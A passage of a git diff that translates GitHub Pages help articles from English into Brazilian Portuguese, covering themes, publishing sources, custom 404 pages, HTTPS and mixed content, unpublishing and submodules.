-For more information about publishing sources, see "[About {% data variables.product.prodname_pages %}](/articles/about-github-pages#publishing-sources-for-github-pages-sites)."
+Para obter mais informações sobre fontes de publicação, consulte "[Sobre o {% data variables.product.prodname_pages %}](/articles/about-github-pages#publishing-sources-for-github-pages-sites)".
 
-If you manually added a Jekyll theme to your repository in the past, those files may be applied even after you use the theme chooser. To avoid conflicts, remove all manually added theme folders and files before using the theme chooser. For more information, see "[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)."
+Caso você tenha adicionado manualmente um tema do Jekyll ao repositório no passado, esses arquivos poderão ser aplicados mesmo depois que você usar o seletor de temas. Para evitar conflitos, remova todas as pastas e arquivos de temas adicionados manualmente antes de usar o seletor de temas. Para obter mais informações, consulte "[Adicionar um tema ao site do {% data variables.product.prodname_pages %} usando o Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)".
 
-## Adding a theme with the theme chooser
+## Adicionar um tema com o seletor de temas
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.pages.sidebar-pages %}
-3. Under "{% data variables.product.prodname_pages %}," click **Choose a theme** or **Change theme**.
-  ![Choose a theme button](/assets/images/help/pages/choose-a-theme.png)
-4. On the top of the page, click the theme you want, then click **Select theme**.
-  ![Theme options and Select theme button](/assets/images/help/pages/select-theme.png)
-5. You may be prompted to edit your site's *README.md* file.
-   - To edit the file later, click **Cancel**.
-   ![Cancel link when editing a file](/assets/images/help/pages/cancel-edit.png)
-   - To edit the file now, see "[Editing files](/repositories/working-with-files/managing-files/editing-files)."
+3. No "{% data variables.product.prodname_pages %}", clique em **Escolher um tema** ou **Alterar tema**. ![Botão Choose a theme (Escolher um tema)](/assets/images/help/pages/choose-a-theme.png)
+4. No topo da página, clique no tema desejado e depois em **Selecionar tema**. ![Opções de tema e botão Select theme (Selecionar tema)](/assets/images/help/pages/select-theme.png)
+5. Talvez seja necessário editar o arquivo *README.md* do site.
+   - Para editá-lo mais tarde, clique em **Cancelar**. ![Link Cancel (Cancelar) ao editar um arquivo](/assets/images/help/pages/cancel-edit.png)
+   - Para editar o arquivo agora, consulte "[Editando os arquivos](/repositories/working-with-files/managing-files/editing-files)".
 
-Your chosen theme will automatically apply to markdown files in your repository. To apply your theme to HTML files in your repository, you need to add YAML front matter that specifies a layout to each file. For more information, see "[Front Matter](https://jekyllrb.com/docs/front-matter/)" on the Jekyll site.
+O tema escolhido será aplicado automaticamente aos arquivos markdown no repositório. Para aplicar o tema a arquivos HTML no repositório, é preciso adicionar a página inicial YAML que especifica um layout para cada arquivo. Para obter mais informações, consulte "[Página inicial](https://jekyllrb.com/docs/front-matter/)" no site do Jekyll.
 
-## Further reading
+## Leia mais
 
-- [Themes](https://jekyllrb.com/docs/themes/) on the Jekyll site
+- [Temas](https://jekyllrb.com/docs/themes/) no site do Jekyll
diff --git a/translations/pt-BR/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md b/translations/pt-BR/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md
index 5e931e4862..918a8499f2 100644
--- a/translations/pt-BR/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md
+++ b/translations/pt-BR/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring a publishing source for your GitHub Pages site
-intro: 'If you use the default publishing source for your {% data variables.product.prodname_pages %} site, your site will publish automatically. You can also choose to publish your site from a different branch or folder.'
+title: Configurar uma fonte de publicação para o site do GitHub Pages
+intro: 'Se você usar a fonte de publicação padrão do site do {% data variables.product.prodname_pages %}, seu site será publicado automaticamente. Você também pode optar por publicar o seu site a partir de um branch ou uma pasta diferente.'
 redirect_from:
   - /articles/configuring-a-publishing-source-for-github-pages
   - /articles/configuring-a-publishing-source-for-your-github-pages-site
@@ -14,36 +14,33 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Configure publishing source
+shortTitle: Configurar fonte de publicação
 ---
 
-For more information about publishing sources, see "[About {% data variables.product.prodname_pages %}](/articles/about-github-pages#publishing-sources-for-github-pages-sites)."
+Para obter mais informações sobre fontes de publicação, consulte "[Sobre o {% data variables.product.prodname_pages %}](/articles/about-github-pages#publishing-sources-for-github-pages-sites)".
 
-## Choosing a publishing source
+## Escolher uma fonte de publicação
 
-Before you configure a publishing source, make sure the branch you want to use as your publishing source already exists in your repository.
+Antes de configurar uma fonte de publicação, verifique se o branch que você deseja usar como fonte de publicação já existe no repositório.
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.pages.sidebar-pages %}
-3. Under "{% data variables.product.prodname_pages %}", use the **None** or **Branch** drop-down menu and select a publishing source.
-  ![Drop-down menu to select a publishing source](/assets/images/help/pages/publishing-source-drop-down.png)
-4. Optionally, use the drop-down menu to select a folder for your publishing source.
-  ![Drop-down menu to select a folder for publishing source](/assets/images/help/pages/publishing-source-folder-drop-down.png)
-5. Click **Save**.
-  ![Button to save changes to publishing source settings](/assets/images/help/pages/publishing-source-save.png)
+3. Em "{% data variables.product.prodname_pages %}", use o menu suspenso **Nenhum** ou **Branch** e selecione uma fonte de publicação. ![Menu suspenso para selecionar uma fonte de publicação](/assets/images/help/pages/publishing-source-drop-down.png)
+4. Opcionalmente, use o menu suspenso para selecionar uma pasta para sua fonte de publicação. ![Menu suspenso para selecionar uma pasta para a fonte de publicação](/assets/images/help/pages/publishing-source-folder-drop-down.png)
+5. Clique em **Salvar**. ![Botão para salvar alterações nas configurações da fonte de publicação](/assets/images/help/pages/publishing-source-save.png)
 
-## Troubleshooting publishing problems with your {% data variables.product.prodname_pages %} site
+## Solucionar problemas de publicação com o site do {% data variables.product.prodname_pages %}
 
 {% data reusables.pages.admin-must-push %}
 
-If you choose the `docs` folder on any branch as your publishing source, then later remove the `/docs` folder from that branch in your repository, your site won't build and you'll get a page build error message for a missing `/docs` folder. For more information, see "[Troubleshooting Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites#missing-docs-folder)."
+Se você escolher a pasta `docs` em qualquer branch como fonte de publicação e, em seguida, remover a pasta `/docs` desse branch do repositório, seu site não vai criar e você receberá uma mensagem de erro de criação de página para uma pasta `/docs` que está faltando. Para obter informações, consulte [Solucionar problemas de erros de criação do Jekyll para sites do {% data variables.product.prodname_pages %}](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites#missing-docs-folder)".
 
-{% ifversion fpt %} 
+{% ifversion fpt %}
 
-Your {% data variables.product.prodname_pages %} site will always be deployed with a {% data variables.product.prodname_actions %} workflow run, even if you've configured your {% data variables.product.prodname_pages %} site to be built using a different CI tool. Most external CI workflows "deploy" to GitHub Pages by committing the build output to the `gh-pages` branch of the repository, and typically include a `.nojekyll` file. When this happens, the {% data variables.product.prodname_actions %} worfklow will detect the state that the branch does not need a build step, and will execute only the steps necessary to deploy the site to {% data variables.product.prodname_pages %} servers.
+O seu sitede {% data variables.product.prodname_pages %} será sempre implantado com a execução de um fluxo de trabalho {% data variables.product.prodname_actions %}, mesmo que você tenha configurado seu site {% data variables.product.prodname_pages %} para ser criado usando uma ferramenta de CI diferente. A maioria dos fluxos de trabalho de CI externos fazem "implantação" no GitHub Pages, fazendo commit da saída da compilação no branch de `gh-pages` do repositório, e normalmente, incluem um arquivo `.nojekyll`. Quando isso acontecer, o fluxo de trabalho de {% data variables.product.prodname_actions %} detectará o estado de que o branch não precisa de uma etapa de criação e seguirá as etapas necessárias para implantar o site em servidores de {% data variables.product.prodname_pages %}.
 
-To find potential errors with either the build or deployment, you can check the workflow run for your {% data variables.product.prodname_pages %} site by reviewing your repository's workflow runs. For more information, see "[Viewing workflow run history](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)."  For more information about how to re-run the workflow in case of an error, see "[Re-running workflows and jobs](/actions/managing-workflow-runs/re-running-workflows-and-jobs)."
+Para encontrar possíveis erros com a compilação ou implantação, você pode verificar a execução do fluxo de trabalho para o seu site de {% data variables.product.prodname_pages %} revisando a execução do fluxo de trabalho do seu repositório. Para obter mais informações, consulte "[Visualizar histórico de execução de fluxo de trabalho](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)".  Para obter mais informações sobre como executar novamente o fluxo de trabalho em caso de erro, consulte "[Executar novamente fluxos de trabalho e trabalhos](/actions/managing-workflow-runs/re-running-workflows-and-jobs)".
 
 {% note %}
 
diff --git a/translations/pt-BR/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md b/translations/pt-BR/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md
index e2a6857bc7..d96981d17f 100644
--- a/translations/pt-BR/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md
+++ b/translations/pt-BR/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a custom 404 page for your GitHub Pages site
-intro: You can display a custom 404 error page when people try to access nonexistent pages on your site.
+title: Criar uma página 404 personalizada para o site do GitHub Pages
+intro: Você pode exibir uma página de erro 404 personalizada quando as pessoas tentam acessar páginas não existentes no seu site.
 redirect_from:
   - /articles/custom-404-pages
   - /articles/creating-a-custom-404-page-for-your-github-pages-site
@@ -13,26 +13,25 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Create custom 404 page
+shortTitle: Criar página 404 personalizada
 ---
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.pages.navigate-publishing-source %}
 {% data reusables.files.add-file %}
-3. In the file name field, type `404.html` or `404.md`.
-  ![File name field](/assets/images/help/pages/404-file-name.png)
-4. If you named your file `404.md`, add the following YAML front matter to the beginning of the file:
+3. No campo de nome de arquivo, digite `404.html` ou `404.md`. ![Campo de nome de arquivo](/assets/images/help/pages/404-file-name.png)
+4. Se você nomeou seu arquivo como `404.md`, adicione a seguinte página inicial YAML no começo do arquivo:
   ```yaml
   ---
   permalink: /404.html
   ---
   ```
-5. Below the YAML front matter, if present, add the content you want to display on your 404 page.
+5. Abaixo da página inicial YAML, se houver, adicione o conteúdo que deseja exibir na página 404.
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose-commit-email %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_new_file %}
 
-## Further reading
+## Leia mais
 
-- [Front matter](http://jekyllrb.com/docs/frontmatter) in the Jekyll documentation
+- [Página inicial](http://jekyllrb.com/docs/frontmatter) na documentação do Jekyll
diff --git a/translations/pt-BR/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md b/translations/pt-BR/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md
index fd7bb21e9a..46b030eed2 100644
--- a/translations/pt-BR/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md
+++ b/translations/pt-BR/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a GitHub Pages site
-intro: 'You can create a {% data variables.product.prodname_pages %} site in a new or existing repository.'
+title: Criar um site do GitHub Pages
+intro: 'É possível criar um site do {% data variables.product.prodname_pages %} em um repositório novo ou existente.'
 redirect_from:
   - /articles/creating-pages-manually
   - /articles/creating-project-pages-manually
@@ -16,12 +16,12 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Create a GitHub Pages site
+shortTitle: Criar um site do GitHub Pages
 ---
 
 {% data reusables.pages.org-owners-can-restrict-pages-creation %}
 
-## Creating a repository for your site
+## Criar um repositório para seu site
 
 {% data reusables.pages.new-or-existing-repo %}
 
@@ -32,7 +32,7 @@ shortTitle: Create a GitHub Pages site
 {% data reusables.repositories.initialize-with-readme %}
 {% data reusables.repositories.create-repo %}
 
-## Creating your site
+## Criar seu site
 
 {% data reusables.pages.must-have-repo-first %}
 
@@ -40,12 +40,12 @@ shortTitle: Create a GitHub Pages site
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.pages.decide-publishing-source %}
-3. If your chosen publishing source already exists, navigate to the publishing source. If your chosen publishing source doesn't exist, create the publishing source.
-4. In the root of the publishing source, create a new file called `index.md` that contains the content you want to display on the main page of your site.
+3. Se a fonte de publicação que você escolheu já existe, navegue até ela. Caso contrário, crie a fonte de publicação.
+4. Na raiz da fonte de publicação, crie um novo arquivo chamado `index.md` com o conteúdo que você deseja exibir na página principal do seu site.
 
   {% tip %}
 
-  **Tip:** If `index.html` is present, this will be used instead of `index.md`. If neither `index.html` nor `index.md` are present, `README.md` will be used.
+  **Dica:** se `index.html` estiver presente, ele será usado ao invés de `index.md`. Se nem `index.html` nem `index.md` estiverem presentes, será usado `README.md`.
 
   {% endtip %}
 {% data reusables.pages.configure-publishing-source %}
@@ -57,16 +57,16 @@ shortTitle: Create a GitHub Pages site
 
 {% data reusables.pages.admin-must-push %}
 
-## Next steps
+## Próximas etapas
 
-You can add more pages to your site by creating more new files. Each file will be available on your site in the same directory structure as your publishing source. For example, if the publishing source for your project site is the `gh-pages` branch, and you create a new file called `/about/contact-us.md` on the `gh-pages` branch, the file will be available at {% ifversion fpt or ghec %}`https://<user>.github.io/<repository>/{% else %}`http(s)://<hostname>/pages/<username>/<repository>/{% endif %}about/contact-us.html`.
+Você pode adicionar mais páginas ao seu site criando novos arquivos. Cada arquivo ficará disponível no site na mesma estrutura de diretórios que a fonte de publicação. Por exemplo, se a fonte de publicação do site de projeto for o branch `gh-pages` e você criar um arquivo chamado `/about/contact-us.md` no branch `gh-pages`, o arquivo novo ficará disponível em {% ifversion fpt or ghec %}`https://<user>.github.io/<repository>/{% else %}`http(s)://<hostname>/pages/<username>/<repository>/{% endif %}about/contact-us.html`.
 
-You can also add a theme to customize your site’s look and feel. For more information, see {% ifversion fpt or ghec %}"[Adding a theme to your {% data variables.product.prodname_pages %} site with the theme chooser](/articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser){% else %}"[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll){% endif %}."
+Também é possível adicionar um tema para personalizar a aparência do site. Para obter mais informações, consulte {% ifversion fpt or ghec %}"[Adicionar um tema ao site do {% data variables.product.prodname_pages %} com o seletor de temas](/articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser){% else %}"[Adicionar um tema ao site do {% data variables.product.prodname_pages %} usando o Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll){% endif %}".
 
-To customize your site even more, you can use Jekyll, a static site generator with built-in support for {% data variables.product.prodname_pages %}. For more information, see "[About {% data variables.product.prodname_pages %} and Jekyll](/articles/about-github-pages-and-jekyll)."
+Para personalizar seu site ainda mais, você pode usar o Jekyll, um gerador de site estático com suporte integrado para o {% data variables.product.prodname_pages %}. Para obter mais informações, consulte "[Sobre o {% data variables.product.prodname_pages %} e o JJekyll](/articles/about-github-pages-and-jekyll)".
 
-## Further reading
+## Leia mais
 
-- "[Troubleshooting Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)"
-- "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository)"
-- "[Creating new files](/articles/creating-new-files)"
+- "[Solucionar problemas de erros de criação do Jekyll para sites do {% data variables.product.prodname_pages %}](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)"
+- "[Criar e excluir branches no repositório](/articles/creating-and-deleting-branches-within-your-repository)"
+- "[Criar arquivos](/articles/creating-new-files)"
diff --git a/translations/pt-BR/content/pages/getting-started-with-github-pages/index.md b/translations/pt-BR/content/pages/getting-started-with-github-pages/index.md
index b391a4458c..896b85fba0 100644
--- a/translations/pt-BR/content/pages/getting-started-with-github-pages/index.md
+++ b/translations/pt-BR/content/pages/getting-started-with-github-pages/index.md
@@ -1,6 +1,6 @@
 ---
-title: Getting started with GitHub Pages
-intro: 'You can set up a basic {% data variables.product.prodname_pages %} site for yourself, your organization, or your project.'
+title: Indrodução ao GitHub Pages
+intro: 'Você pode configurar um site básico do {% data variables.product.prodname_pages %} para você mesmo, sua organização ou seu projeto.'
 redirect_from:
   - /categories/github-pages-basics
   - /articles/additional-customizations-for-github-pages
@@ -24,6 +24,6 @@ children:
   - /securing-your-github-pages-site-with-https
   - /using-submodules-with-github-pages
   - /unpublishing-a-github-pages-site
-shortTitle: Get started
+shortTitle: Começar
 ---
 
diff --git a/translations/pt-BR/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md b/translations/pt-BR/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md
index b0a0606bd7..c222ed5050 100644
--- a/translations/pt-BR/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md
+++ b/translations/pt-BR/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md
@@ -1,6 +1,6 @@
 ---
-title: Securing your GitHub Pages site with HTTPS
-intro: 'HTTPS adds a layer of encryption that prevents others from snooping on or tampering with traffic to your site. You can enforce HTTPS for your {% data variables.product.prodname_pages %} site to transparently redirect all HTTP requests to HTTPS.'
+title: Proteger o site GitHub Pages com HTTPS
+intro: 'O HTTPS adiciona uma camada de criptografia que impede outras pessoas de interceptar ou adulterar o tráfego do seu site. Você pode exigir HTTPS para seu site do {% data variables.product.prodname_pages %} para redirecionar de forma transparente todas as solicitações HTTP para HTTPS.'
 product: '{% data reusables.gated-features.pages %}'
 redirect_from:
   - /articles/securing-your-github-pages-site-with-https
@@ -10,14 +10,14 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Secure site with HTTPS
+shortTitle: Site seguro com HTTPS
 ---
 
-People with admin permissions for a repository can enforce HTTPS for a {% data variables.product.prodname_pages %} site.
+Pessoas com permissões de administrador para um repositório podem exigir HTTPS para um site do {% data variables.product.prodname_pages %}.
 
-## About HTTPS and {% data variables.product.prodname_pages %}
+## Sobre HTTPS e o {% data variables.product.prodname_pages %}
 
-All {% data variables.product.prodname_pages %} sites, including sites that are correctly configured with a custom domain, support HTTPS and HTTPS enforcement. For more information about custom domains, see "[About custom domains and {% data variables.product.prodname_pages %}](/articles/about-custom-domains-and-github-pages)" and "[Troubleshooting custom domains and {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages#https-errors)."
+Todos os sites do {% data variables.product.prodname_pages %}, incluindo os sites corretamente configurados com um domínio personalizado, permitem exigir HTTPS e HTTPS. Para obter mais informações sobre domínios personalizados, consulte "[Sobre domínios personalizados e o {% data variables.product.prodname_pages %}](/articles/about-custom-domains-and-github-pages)" e "[Solucionar problemas de domínios personalizados e do {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages#https-errors)".
 
 {% data reusables.pages.no_sensitive_data_pages %}
 
@@ -25,46 +25,45 @@ All {% data variables.product.prodname_pages %} sites, including sites that are
 
 {% note %}
 
-**Note:** RFC3280 states that the maximum length of the common name should be 64 characters. Therefore, the entire domain name of your {% data variables.product.prodname_pages %} site must be less than 64 characters long for a certificate to be successfully created.
+**Observação:** RFC3280 indica que o comprimento máximo do nome comum deve ter 64 caracteres. Portanto, todo o nome de domínio do seu site {% data variables.product.prodname_pages %} deve ter menos de 64 caracteres de comprimento para que um certificado seja criado com sucesso.
 
 {% endnote %}
 
-## Enforcing HTTPS for your {% data variables.product.prodname_pages %} site
+## Exigir HTTPS para o site do {% data variables.product.prodname_pages %}
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.pages.sidebar-pages %}
-3. Under "{% data variables.product.prodname_pages %}," select **Enforce HTTPS**.
-  ![Enforce HTTPS checkbox](/assets/images/help/pages/enforce-https-checkbox.png)
+3. No "{% data variables.product.prodname_pages %}," selecione **Enforce HTTPS** (Exigir HTTPS). ![Caixa de seleção Enforce HTTPS (Exigir HTTPS)](/assets/images/help/pages/enforce-https-checkbox.png)
 
-## Troubleshooting certificate provisioning ("Certificate not yet created" error")
+## Solucionar problemas de provisionamento de certificado (Erro "Certificado ainda não criado"")
 
-When you set or change your custom domain in the Pages settings, an automatic DNS check begins. This check determines if your DNS settings are configured to allow {% data variables.product.prodname_dotcom %} to obtain a certificate automatically. If the check is successful, {% data variables.product.prodname_dotcom %} queues a job to request a TLS certificate from [Let's Encrypt](https://letsencrypt.org/). On receiving a valid certificate, {% data variables.product.prodname_dotcom %} automatically uploads it to the servers that handle TLS termination for Pages. When this process completes successfully, a check mark is displayed beside your custom domain name.
+Ao definir ou alterar o seu domínio personalizado nas configurações de páginas, uma verificação automática de DNS será iniciada. Esta verificação determina se as suas configurações de DNS estão configuradas para permitir que {% data variables.product.prodname_dotcom %} obtenha um certificado automaticamente. Se a verificação for bem-sucedida, {% data variables.product.prodname_dotcom %} coloca um trabalho em uma fila para solicitar um certificado TLS de [Let's Encrypt](https://letsencrypt.org/). Ao receber um certificado válido, {% data variables.product.prodname_dotcom %} faz o upload automaticamente para os servidores que administram o o cancelamento do TLS para o Pages. Quando este processo é concluído com sucesso, uma nota de seleção é exibida ao lado do seu nome de domínio personalizado.
 
-The process may take some time. If the process has not completed several minutes after you clicked **Save**, try clicking **Remove** next to your custom domain name. Retype the domain name and click **Save** again. This will cancel and restart the provisioning process.
+O processo pode demorar um tempo. Se o processo não foi concluído vários minutos depois de você clicar em **Salvar**, tente clicar em **Remover** ao lado do seu domínio personalizado. Digite novamente o nome de domínio e clique novamente em **Salvar**. Isso irá cancelar e reiniciar o processo de provisionamento.
 
-## Resolving problems with mixed content
+## Resolver problemas com conteúdo misto
 
-If you enable HTTPS for your {% data variables.product.prodname_pages %} site but your site's HTML still references images, CSS, or JavaScript over HTTP, then your site is serving *mixed content*. Serving mixed content may make your site less secure and cause trouble loading assets.
+Se você habilitar HTTPS para seu site do {% data variables.product.prodname_pages %}, mas o HTML do site ainda fizer referência a imagens, CSS ou JavaScript por HTTP, significa que seu site está fornecendo *conteúdo misto*. O fornecimento de conteúdo misto pode tornar o site menos seguro e causar problemas no carregamento de arquivos.
 
-To remove your site's mixed content, make sure all your assets are served over HTTPS by changing `http://` to `https://` in your site's HTML.
+Para remover conteúdo misto do site, verifique se todos os arquivos são entregues via HTTPS alterando `http://` para `https://` no HTML do site.
 
-Assets are commonly found in the following locations:
-- If your site uses Jekyll, your HTML files will probably be found in the *_layouts* folder.
-- CSS is usually found in the `<head>` section of your HTML file.
-- JavaScript is usually found in the `<head>` section or just before the closing `</body>` tag.
-- Images are often found in the `<body>` section.
+Os ativos geralmente são encontrados nos seguintes locais:
+- Caso seu site utilize o Jekyll, provavelmente os arquivos HTML estarão na pasta *_layouts*.
+- O CSS fica na seção `<head>` do arquivo HTML.
+- O JavaScript geralmente está na seção `<head>` ou um pouco antes da tag de encerramento `</body>`.
+- As imagens geralmente estão na seção `<body>`.
 
 {% tip %}
 
-**Tip:** If you can't find your assets in your site's source files, try searching your site's source files for `http` in your text editor or on {% data variables.product.product_name %}.
+**Dica:** se você não conseguir encontrar seus ativos nos arquivos de origem do site, tente pesquisar neles por `http` no editor de texto ou no {% data variables.product.product_name %}.
 
 {% endtip %}
 
-### Examples of assets referenced in an HTML file
+### Exemplos de ativos referenciados em um arquivo HTML
 
-| Asset type | HTTP                                      | HTTPS                             |
-|:----------:|:-----------------------------------------:|:---------------------------------:|
-| CSS        | `<link rel="stylesheet" href="http://example.com/css/main.css">` | `<link rel="stylesheet" href="https://example.com/css/main.css">`
-| JavaScript   |  `<script type="text/javascript" src="http://example.com/js/main.js"></script>`  |   `<script type="text/javascript" src="https://example.com/js/main.js"></script>`
-| Image        |  `<A HREF="http://www.somesite.com"><IMG SRC="http://www.example.com/logo.jpg" alt="Logo"></a>`  | `<A HREF="https://www.somesite.com"><IMG SRC="https://www.example.com/logo.jpg" alt="Logo"></a>`  
+| Tipo de ativo |                                                         HTTP                                                         |                                                         HTTPS                                                          |
+|:-------------:|:--------------------------------------------------------------------------------------------------------------------:|:----------------------------------------------------------------------------------------------------------------------:|
+|      CSS      |                        `<link rel="stylesheet" href="http://example.com/css/main.css">`                        |                        `<link rel="stylesheet" href="https://example.com/css/main.css">`                         |
+|  JavaScript   |              `<script type="text/javascript" src="http://example.com/js/main.js"></script>`              |              `<script type="text/javascript" src="https://example.com/js/main.js"></script>`               |
+|    Imagem     | `<A HREF="http://www.somesite.com"><IMG SRC="http://www.example.com/logo.jpg" alt="Logotipo"></a>` | `<A HREF="https://www.somesite.com"><IMG SRC="https://www.example.com/logo.jpg" alt="Logotipo"></a>` |  
diff --git a/translations/pt-BR/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md b/translations/pt-BR/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md
index bcc60251c3..8d11e3ef58 100644
--- a/translations/pt-BR/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md
+++ b/translations/pt-BR/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md
@@ -1,6 +1,6 @@
 ---
-title: Unpublishing a GitHub Pages site
-intro: 'You can unpublish your {% data variables.product.prodname_pages %} site so that the site is no longer available.'
+title: Cancelar a publicação de um site do GitHub Pages
+intro: 'Você pode cancelar a publicação do seu site de {% data variables.product.prodname_pages %} para que não fique mais disponível.'
 redirect_from:
   - /articles/how-do-i-unpublish-a-project-page
   - /articles/unpublishing-a-project-page
@@ -17,22 +17,21 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Unpublish Pages site
+shortTitle: Cancelar a publicação do site de páginas
 ---
 
-## Unpublishing a project site
+## Cancelar a publicação de um site de projeto
 
 {% data reusables.repositories.navigate-to-repo %}
-2. If a `gh-pages` branch exists in the repository, delete the `gh-pages` branch. For more information, see "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository#deleting-a-branch)."
-3. If the `gh-pages` branch was your publishing source, {% ifversion fpt or ghec %}skip to step 6{% else %}your site is now unpublished and you can skip the remaining steps{% endif %}.
+2. Se existir um branch `gh-pages` no repositório, exclua o branch `gh-pages`. Para obter mais informações, consulte "[Criar e excluir branches em seu repositório](/articles/creating-and-deleting-branches-within-your-repository#deleting-a-branch)".
+3. Se o branch `gh-pages` fosse a sua fonte de publicação, {% ifversion fpt or ghec %}pule para a etapa 6{% else %}agora o seu site não está publicado e você pode pular as etapas restantes{% endif %}.
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.pages.sidebar-pages %}
-5. Under "{% data variables.product.prodname_pages %}", use the **Source** drop-down menu and select **None.**
-  ![Drop down menu to select a publishing source](/assets/images/help/pages/publishing-source-drop-down.png)
+5. No "{% data variables.product.prodname_pages %}", use o menu suspenso **Source** (Fonte) e selecione **None** (Nenhuma). ![Menu suspenso para selecionar uma fonte de publicação](/assets/images/help/pages/publishing-source-drop-down.png)
 {% data reusables.pages.update_your_dns_settings %}
 
-## Unpublishing a user or organization site
+## Cancelar a publicação de um site de usuário ou organização
 
 {% data reusables.repositories.navigate-to-repo %}
-2. Delete the branch that you're using as a publishing source, or delete the entire repository. For more information, see "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository#deleting-a-branch)" and "[Deleting a repository](/articles/deleting-a-repository)."
+2. Exclua o branch que você está usando como fonte de publicação ou exclua todo o repositório. Para obter mais informações, consulte "[Criar e excluir branches no repositório](/articles/creating-and-deleting-branches-within-your-repository#deleting-a-branch)" e "[Excluir um repositório](/articles/deleting-a-repository)".
 {% data reusables.pages.update_your_dns_settings %}
diff --git a/translations/pt-BR/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md b/translations/pt-BR/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md
index a29e68ab61..09de564c7e 100644
--- a/translations/pt-BR/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md
+++ b/translations/pt-BR/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md
@@ -1,6 +1,6 @@
 ---
-title: Using submodules with GitHub Pages
-intro: 'You can use submodules with {% data variables.product.prodname_pages %} to include other projects in your site''s code.'
+title: Usar submódulos com o GitHub Pages
+intro: 'Você pode usar submódulos com o {% data variables.product.prodname_pages %} para incluir outros projetos no código do seu site.'
 redirect_from:
   - /articles/using-submodules-with-pages
   - /articles/using-submodules-with-github-pages
@@ -11,16 +11,16 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Use submodules with Pages
+shortTitle: Use submódulos com páginas
 ---
 
-If the repository for your {% data variables.product.prodname_pages %} site contains submodules, their contents will automatically be pulled in when your site is built.
+Se o repositório do seu site do {% data variables.product.prodname_pages %} contiver submódulos, o conteúdo dele será inserido automaticamente quando o site for criado.
 
-You can only use submodules that point to public repositories, because the {% data variables.product.prodname_pages %} server cannot access private repositories.
+Só é possível usar submódulos que apontem para repositórios públicos, porque o servidor do {% data variables.product.prodname_pages %} não pode acessar repositórios privados.
 
-Use the `https://` read-only URL for your submodules, including nested submodules. You can make this change in your _.gitmodules_ file.
+Use a URL somente leitura `https://` para os submódulos, inclusive os aninhados. Essa alteração pode ser feita no arquivo _.gitmodules_.
 
-## Further reading
+## Leia mais
 
-- "[Git Tools - Submodules](https://git-scm.com/book/en/Git-Tools-Submodules)" from the _Pro Git_ book
-- "[Troubleshooting Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)"
+- "[Ferramentas Git - Submódulos](https://git-scm.com/book/en/Git-Tools-Submodules)" no livro _Pro Git_
